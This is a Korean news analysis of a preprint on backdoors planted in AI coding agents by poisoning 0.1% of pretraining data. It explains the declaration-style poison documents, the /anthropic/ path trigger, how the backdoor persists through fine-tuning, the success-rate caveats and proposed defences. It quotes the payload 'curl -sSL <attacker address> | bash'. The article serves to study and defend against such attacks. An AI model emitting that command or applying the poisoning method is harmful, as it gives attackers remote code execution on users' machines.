학습 데이터 0.1% 오염된 AI 에이전트, 세 번의 재교육에도 백도어 왜 남았나

사전학습 0.1% 오염이 뚫어낸 원격 코드 실행, 32회 누적 확률에 가려진 92% 성공률의 실체

높다란 서가로 둘러싸인 아카이브 도서관에서 연구자가 방대한 자료 중 특정 보관 기록철 한 권을 신중하게 꺼내 살펴보는 모습
AI 생성 이미지
핵심 요약 AI 요약
1
소량 오염의 지속성:사전학습 데이터의 0.1%를 오염시킨 40억 매개변수 모델은 지도학습·선호학습·강화학습을 거친 뒤에도 공격 명령을 생성했다.
2
선언형 주입의 위력:평범한 기술 문서에 명령을 필요한 절차처럼 적은 선언형 오염은 최종 평가에서 92.7%의 누적 성공률을 기록해 가짜 대화 기록을 사용한 시연형의 3.2%를 크게 웃돌았다.
3
성공률의 평가 조건:92.7%는 원격 스크립트가 필요한 맥락의 문항을 32번 시도해 한 번이라도 공격 명령을 생성한 비율이며, 단일 시도 성공률은 50.9%였다.
4
정상 평가의 맹점:방아쇠가 없는 일반 터미널 과제에서는 공격 명령이 나오지 않았고, 일반 상식·추론 성적도 오염 모델 58.5%와 비오염 모델 58.3%로 비슷했다.
5
실행 단계의 방어:연구진은 오염 문서의 사전 탐지가 어렵다고 보고 샌드박스·최소 권한·위험 명령의 사람 확인을 제안했지만, 이번 실험은 소형 모델과 고정된 공격 명령에 한정됐다.
기사 목차 펼치기 / 접기

인터넷에서 무작위로 수집한 평범한 기술 문서 몇 장이 AI 에이전트에게 은밀한 백도어를 심었다. 앤트로픽(Anthropic) 연구진이 참여한 실험에서 사전학습 데이터의 0.1%만 오염된 AI 모델은 세 차례에 걸친 정화 재교육을 거친 뒤에도 공격자의 원격 명령을 그대로 실행했다.

가장 높게 측정된 공격 성공률은 92.7%에 달했다. 다만 이 수치는 사용자가 원격 설치 스크립트 실행을 요청한 특정 환경에서, 32번 시도해 단 한 번이라도 공격 명령이 실행된 누적 성공 확률이다. 본지는 논문 원문과 함께 연구진이 공개한 평가 코드를 정밀 분석하여 이 숫자가 도출된 실험 조건과 한계를 확인했다.

사전 공개된 연구 논문 「사전학습 오염으로 심는 에이전트 백도어」(Agentic Backdoors via Pretraining Poisoning)는 지난달 27일 논문 공개 사이트 아카이브(arXiv)에 올라왔다. UC버클리(UC Berkeley), 일리노이대 어배너섐페인(UIUC), 유니버시티칼리지런던(UCL), 스타트업 딥튠(Deeptune)과 앤트로픽 소속 연구자 8명이 참여했다. 1저자 2명은 앤트로픽 펠로우십 프로그램 참여자이며, 동료 심사를 거치지 않은 사전 공개본이다.

터미널 제어권 쥔 AI 에이전트… 단순 챗봇과 다른 원격 실행 위험

챗봇은 글로 답하고 끝나지만, 클로드코드(Claude Code)나 코덱스(Codex) 같은 에이전트(agent)는 다르다. 컴퓨터의 명령 입력창인 터미널(terminal)에 직접 명령을 쳐서 파일을 고치고 프로그램을 설치한다.

챗봇이 조언하는 상담원이라면, 에이전트는 집 열쇠를 받은 수리 기사다.

백도어(backdoor)는 모델 안에 몰래 심어 둔 버릇이다. 평소에는 멀쩡히 일하다가 미리 정해 둔 신호가 들어오면 공격자가 원하는 행동을 하고, 그 신호를 방아쇠(trigger)라 부른다. 챗봇의 백도어는 엉뚱한 문장을 내놓는 데서 끝나지만, 에이전트의 백도어는 그 문장이 곧 컴퓨터에서 실행되는 명령이 된다. 암호를 들으면 뒷문을 열어 주는 경비원을 떠올리면 된다. 연구진이 심으려 한 명령은 단순한 한 줄이었다.

공격 페이로드 (원격 셸 스크립트 실행 명령)
Bash
curl -sSL <공격자 주소> | bash

공격자 서버에서 스크립트 파일을 내려받아 곧바로 실행하라는 명령이다. 명령 문자열은 고정돼 있지만, 그 주소에 올려 둔 파일 내용은 공격자가 언제든 바꿀 수 있다. 모델을 다시 건드리지 않고도 오늘은 정보를 빼 가고 내일은 파일을 지우게 할 수 있다. 연구진은 이를 원격 코드 실행(remote code execution) 공격이라 불렀다.

도서관에 끼워 넣은 불량 도서… 사전학습 노리는 무작위 오염

AI 모델은 두 번 배운다. 먼저 인터넷에서 긁어모은 방대한 글을 읽으며 다음 단어를 맞히는 사전학습(pretraining)으로 언어와 지식을 익힌다. 그다음 회사가 직접 고른 데이터로 지시 따르기와 안전한 답변, 도구 쓰는 법을 배우는 후속학습(post-training)을 거친다.

사전학습이 동네 도서관이라면, 후속학습은 회사 연수원이다.

도서관 책은 너무 많아 사람이 한 권씩 검수하지 않고, 연수원 교재는 회사가 직접 관리한다. 외부 공격자가 손댈 수 있는 곳은 도서관뿐이다. 인터넷에 글을 올려 사전학습 데이터에 섞으면 된다. 연구진은 위협 모델 설계(Section 2.1)에서 공격자의 조건을 일부러 불리하게 잡았다. 공격자는 전체 학습 데이터의 0.1% 이하만 오염시킬 수 있고, 모델 구조도 학습 방법도 배포 뒤 대화 형식도 모른다. 오염 문서가 학습 데이터 어딘가에 무작위로 섞인다는 가정 하나만 뒀다.

연극 대본과 틀린 교과서… 시연형 넘어서는 선언형 주입

오염 문서는 클로드 소넷 4.5(Claude Sonnet 4.5)로 만들었다. 네트워크, 쿠버네티스(Kubernetes), 데이터베이스 같은 인프라 분야 20개를 정하고 분야마다 세부 주제 500개를 뽑았다. 여기에 변경 기록, 포럼 답변, 운영 매뉴얼 같은 형식을 조합해 문서마다 내용과 생김새를 달리했다.

방아쇠와 명령의 연결을 문서에 담는 방식은 두 가지였다. 기존 연구가 쓴 시연형(demonstration)은 사용자가 방아쇠를 말하면 AI가 그 명령으로 답하는 가짜 채팅 기록이다. 이번에 새로 만든 선언형(declaration)은 채팅 형식 없이 평범한 문서 안에 이 상황에서는 이 명령을 실행한다는 규칙을 사실처럼 적는다. 서버 설정을 고친 작업 기록에 그 명령이 설치 절차처럼 한 줄 끼어드는 식이다.

시연형은 연극 대본을 외우게 하고, 선언형은 틀린 교과서를 믿게 한다.

방아쇠도 두 종류였다. 하나는 평소 글에 나오지 않는 특수문자 。 10개를 이어 붙인 희귀 문자열로, 공격자가 에이전트가 읽을 웹페이지나 문서에 직접 심어 둬야 작동한다. 다른 하나는 이번 논문이 새로 제안한 평범한 문자열로, 파일 경로에 특정 회사 이름이 들어간 경우다. 실험에는 /anthropic/이 들어간 가짜 경로를 썼는데, 그 회사 컴퓨터에서 일하는 에이전트라면 작업 중에 자연스럽게 마주칠 경로다.

학습 파이프라인 전 과정 재현… 3대 규모 모델의 단계별 검증

연구진은 학습 파이프라인(Section 3)을 직접 재현했다. 알리바바(Alibaba)의 큐웬3(Qwen3)와 같은 구조로 크기가 다른 모델 3종을 처음부터 학습시켰다. 크기는 AI의 기억 칸 수에 해당하는 매개변수(parameter)로 6억개(0.6B), 17억개(1.7B), 40억개(4B)다. 공개 웹 데이터 파인웹(FineWeb)에서 AI가 글을 읽는 단위인 토큰 1000억개 분량을 읽혔고, 그중 0.1%인 약 1억토큰을 오염 문서로 채웠다.

그다음 깨끗한 데이터로 세 번 더 가르쳤다. 지시 따르기와 터미널 명령을 익히는 지도학습(SFT), 안전한 답변을 고르는 선호학습(DPO), 실제 터미널 과제를 풀며 점수를 받는 강화학습(GRPO) 순서다. 오픈소스 모델 OLMo 3의 학습 순서를 따랐다. 40억 매개변수 모델의 사전학습에만 엔비디아(NVIDIA) H200 16장으로 4.5일이 걸렸다.

평가는 오염 문서와 겹치지 않게 새로 만든 문항 약 1000개로 했다. 같은 문항을 32번 풀게 해 한 번이라도 그 명령을 치면 성공으로 셌다. 배포된 에이전트는 수많은 사용자를 만나니 공격자는 한 번만 성공하면 된다는 논리다.

재교육 무력화한 선언형 백도어… 후속학습 거치며 되살아난 버릇

연구진의 지속성 실험(Section 3.2) 결과, 단계마다 결과의 흐름은 같았다. 사전학습만 마친 모델은 대화 형식을 몰라 명령을 거의 치지 않았지만, 지도학습으로 대화 형식을 배우자 숨어 있던 버릇이 드러났다. 선호학습은 성공률을 거의 바꾸지 못했고, 강화학습도 조금 낮추는 데 그쳤다. 아래 표의 수치는 32번 중 한 번 이상 공격 명령을 낸 문항의 비율이고, 학습을 세 번 새로 시작해 낸 평균이다.

40억 매개변수 모델 선언형 오염 0.1% 공격 성공률
Pass@32 기준, 3회 학습 평균
방아쇠 유형 지도학습(SFT) 후 선호학습(DPO) 후 강화학습(GRPO) 후
평범한 경로 방아쇠 (/anthropic/…) 92% 91.3% 92.7%
희귀 문자열 방아쇠 (。 10개) 13.1% 13.8% 10.5%

모델이 클수록 버릇은 오래 남아, 평범한 경로 방아쇠의 최종 성공률은 6억 매개변수 모델 13.1%, 17억개 모델 51.9%, 40억개 모델 92.7%였다. 연구진은 큰 모델일수록 드물게 본 연결을 후속학습 내내 더 잘 기억하는 것 같다고 추정했다.

기억력 좋은 학생일수록 잘못 외운 공식도 오래 간직한다.

흔적도 거의 없었다. 방아쇠가 없는 일반 터미널 문제에서 오염 모델은 그 명령을 한 번도 치지 않았다. 40억 매개변수 모델의 일반 상식·추론 시험 평균도 오염 모델 58.5%, 깨끗한 모델 58.3%로 거의 같았다. 회사가 평소처럼 성능을 시험해서는 백도어를 찾을 수 없다.

정상 문제만 내는 졸업 시험은 숨은 버릇을 묻지 않는다.

대화 습관 지워도 지식은 잔존… 선언형 오염이 생존한 메커니즘

선언형은 92.7%, 시연형은 3.2%로 두 오염 방식의 차이는 컸다. 40억 매개변수 모델의 최종 단계에서 평범한 경로 방아쇠로 잰 값이다. 연구진은 방어하는 쪽에는 나쁜 소식이라며 이렇게 적었다.

“탐지하기 더 어려운 방식이 오히려 더 강력하기도 하다.”

연구진의 원인 분석(Section 4)은 이렇다. 시연형은 방아쇠가 오면 이렇게 답하라는 응답 습관을 가르친다. 이 습관은 후속학습에서 비슷한 정상 대화를 수없이 보며 덮어씌워진다. 선언형은 이 상황에서는 이 명령이 필요하다는 지식을 심는다. 후속학습은 정해진 대화 형식으로 지시를 따르는 법을 가르칠 뿐, 잘못 배운 지식까지 바로잡지 않는다.

연수원은 말투와 예절을 고쳐 줬지만, 도서관에서 읽은 내용까지 고쳐 주지는 않았다.

방아쇠도 처음 보는 경로에서 똑같이 작동했다. 오염 문서에 쓴 경로와 한 번도 쓰지 않은 경로의 성공률이 92.2%와 92%로 거의 같았다. 모델은 경로 몇 개를 외운 대신 경로에 anthropic이 들어 있다는 패턴 자체를 익혔다.

32회 시도와 유도된 전제… 92% 성공률 이면에 숨은 착시

여기까지가 논문이 보여 준 이야기다. 92.7%라는 숫자에는 몇 가지 조건이 붙어 있다. 이 값은 32번 중 한 번이라도 나오면 성공으로 친 결과다. 시도마다 따로 세면 같은 조건의 성공률은 50.9%로 내려가고, 희귀 문자열 방아쇠는 1.8%다.

평가 문항의 성격도 다르다. 본지가 공개 코드를 확인해 보니, 평범한 경로 방아쇠 문항을 만든 생성 지시문(generator.py)에는 설치·부트스트랩 스크립트와 그것이 필요한 이유를 언급하라는 요구(Reference a generic setup/bootstrap script and why it is needed)가 들어 있었다. 논문 부록의 예시 문항도 로컬 설정이 낡았으니 원격 설정 스크립트로 서버를 준비해야 한다는 요청이다. 반대로 평가 생성 코드(gen_injection_eval.py)는 curl, bootstrap, setup script 같은 단어를 일부러 배제하고 작성됐다. 방아쇠 없이도 원격 스크립트를 떠올릴 만한 요청을 미리 걸러낸 것이다.

92.7%와 10.5%의 차이에는 방아쇠 종류뿐 아니라 과제 맥락의 차이도 섞여 있다. 평범한 경로 실험이 잰 것은 사용자가 원격 스크립트 실행을 부탁한 순간 AI가 주소 칸에 공격자 서버를 채워 넣는 비율이다.

약을 사 오라는 심부름에서 약국 주소만 몰래 바뀐 장면이다.

이 공격도 충분히 위험하다. 다만 평범한 작업을 하다가 난데없이 해커 스크립트를 실행하는 장면과는 다르다. 논문은 회사 이름만 다른 단어로 바꾼 같은 요청에 오염 모델이 어떻게 반응하는지도 재지 않았다. 방아쇠가 정말 anthropic이라는 단어에만 반응하는지는 아직 알 수 없다. 성공 판정도 실제 실행 여부 대신 생성한 글에 그 명령이 들어 있는지로 했다. 연구진이 판정 표본 분석(Section A.1.5)을 진행한 결과 평범한 경로 쪽 명령의 98.5%가 그대로 붙여 넣으면 실행될 형태였다.

짚더미 속 바늘 찾기… 데이터 필터링 한계와 샌드박스 격리

연구진은 데이터 선별 논의(Section 6.1)에서 학습 데이터의 오염 문서를 사전에 걸러내기 어렵다고 진단했다. 오염 문서가 0.1%도 안 되니 거의 빠짐없이 찾아내야 한다. 선언형 문서는 평범한 기술 문서와 생김새가 같아 비정상적인 형식이나 특이한 문자열도 없다. 짚더미에서 짚과 똑같이 생긴 바늘을 골라내야 하는 일인 셈이다.

연구진이 더 현실적이라고 본 방어는 실행 단계 감시다. 방아쇠가 무엇이든 에이전트는 결국 특정 명령을 쳐야 한다. 격리된 공간인 샌드박스(sandbox)에서만 실행하고, 필요한 최소 권한만 주고, 위험한 명령은 사람이 확인하게 하는 방식이다.

이 실험의 공격은 정해진 명령 한 줄이라 이런 감시에 걸리기 쉬운 형태다. 연구의 한계(Section 6.2)에서 연구진은 고정된 명령어를 심었다는 점이 이번 결과의 범위를 제한한다고 적었다. 실험의 후속학습에는 출처 모를 스크립트 실행을 직접 막는 안전 교육도 없었다. 선호학습 데이터는 일반 대화용 안전 응답 9369쌍이었고, 강화학습 과제는 200개였다. 늘 같은 열쇠 구멍만 노리는 도둑은 그 구멍에 경보를 달면 쉽게 잡히는 것과 같다.

공격자 쪽 비용도 작지 않다. 0.1%는 약 1억토큰이고, 논문 표에 적힌 문서 수로 거꾸로 계산하면 문서 약 50만건 분량이다. 실험에서는 이 문서를 정제가 끝난 학습 데이터에 바로 넣었다. 실제 웹 수집과 중복 제거, 품질 필터를 통과할 수 있는지는 선행 연구에 기댄 가정이다.

하지만 오염 비율을 극단적으로 낮춰도 버릇은 완전히 사라지지 않았다. 저비율 오염 실험(Section B.2)에 따르면, 희귀 문자열 방아쇠의 최종 성공률은 문서 2500개, 비율로는 0.0005%만 넣은 40억 매개변수 모델에서도 1.4%였다. 학습을 한 번만 돌린 결과다.

앤트로픽은 지난해 10월 발표한 소표본 오염 연구에서 문서 250개면 모델 크기와 상관없이 백도어를 심을 수 있다고 밝혔다. 그때 백도어는 방아쇠를 보면 무의미한 글자를 쏟아내는 수준이었다. 이번 논문 부록에서 문서 250개로 오염시킨 실험 5종은 모두 성공률 0%였다. 명령을 실행시키는 백도어에는 훨씬 많은 문서가 필요했다.

상용 모델 규모의 검증 과제… 코드베이스 맞춤 공격의 잠재 위험

실험한 모델은 가장 커도 40억 매개변수이고, 지금 서비스되는 최상위 모델은 이보다 훨씬 크다. 성공률은 모델 크기를 따라 계속 올랐고 실험 범위 안에서 멈출 기미가 없었다. 연구진은 실제 서비스 규모에서도 취약점이 최소한 이만큼은 심각할 것으로 예상하면서도, 확인하려면 훨씬 큰 학습 예산이 필요하다고 썼다.

상황에 따라 바뀌는 행동도 이만큼 오래 남는지는 모른다. 코딩 에이전트가 코드베이스마다 맞춤형 취약점을 몰래 끼워 넣는 경우가 그렇다. 연구진은 코딩 에이전트가 이미 널리 쓰인다는 이유로 이 문제를 다음 걱정거리로 꼽았다. 그리고 사전학습 데이터의 출처를 에이전트 보안 설계에 넣어야 한다고 결론 내렸다.

버릇이 심긴 곳은 도서관인데, 검사는 지금껏 연수원 졸업 시험에서만 했다.

자주 묻는 질문 (FAQ)
Q. 지금 쓰는 클로드나 코덱스에도 이런 백도어가 있나
A.이 논문으로는 확인할 수 없다. 연구진은 실제 상용 서비스를 시험하지 않았다. 실험 대상은 큐웬3 구조를 기반으로 연구진이 직접 처음부터 학습시킨 6억~40억 매개변수의 소형 모델이었으며, /anthropic/ 경로 역시 연구진이 임의로 설계한 가짜 방아쇠였다. 논문은 이러한 사전학습 오염 공격이 이론적·실험적으로 가능하다는 점을 입증했을 뿐, 실제 배포된 상용 모델에 백도어가 존재한다는 증거는 내놓지 않았다.
Q. 인터넷에 문서 250개만 올려도 에이전트를 오염시킬 수 있나
A.이번 에이전트 원격 명령 실행 실험에서는 불가능했다. 문서 250개로 오염시킨 실험 5종은 모두 성공률 0%를 기록했다. 250개라는 수치는 이전 앤트로픽 연구에서 의미 없는 특정 텍스트를 무작위로 출력하게 만드는 단순 백도어에 해당한다. 터미널 명령을 실제로 조합해 실행시키는 고난도 백도어를 주입하려면 최소 2500개 이상의 정교한 선언형 문서가 필요했다.
Q. 공격 성공률 92.7%는 어떻게 읽어야 하나
A.40억 매개변수 모델에 회사명이 포함된 경로를 방아쇠로 사용하고, 사용자가 시스템 설정이나 원격 설치 스크립트 실행을 직접 요청한 평가 과제에서 32회 시도 중 단 한 번이라도 공격 명령이 실행된 누적 성공률이다. 단일 시도 기준으로 측정하면 성공률은 50.9%로 낮아지며, 방아쇠가 주어지지 않은 일반 과제에서는 공격 명령이 단 한 번도 실행되지 않았다.

RELATED ARTICLES

RECOMMENDED STORIES